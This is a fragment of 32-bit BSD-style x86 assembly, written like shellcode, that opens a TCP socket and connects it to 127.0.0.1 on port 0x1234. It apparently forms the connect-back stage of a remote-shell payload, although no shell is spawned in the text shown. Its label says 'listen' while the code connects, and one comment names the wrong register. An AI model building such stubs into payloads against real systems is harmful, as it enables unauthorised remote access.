_tcp_listen: xor eax, eax ; zero out eax and edx cdq push eax ; IPPROTO_IP inc eax push eax ; SOCK_STREAM inc eax push eax ; AF_INET push edx ; spacer mov al, byte 97 ; SYS_socket int 0x80 jb end mov edi, eax ; Save server socket in esi ;; Create sockaddr_in on the stack push edx push edx push 0x0100007f push 0x12340200 ; sin_port, sin_family, sin_length mov ebx, esp push byte 16 ; address_len push ebx ; address push edi ; socket push edx ; spacer mov al, 98 ; SYS_connect int 0x80 ; connect(s, saddr, 16) jb end ;; At this point: ;; edi - connected socket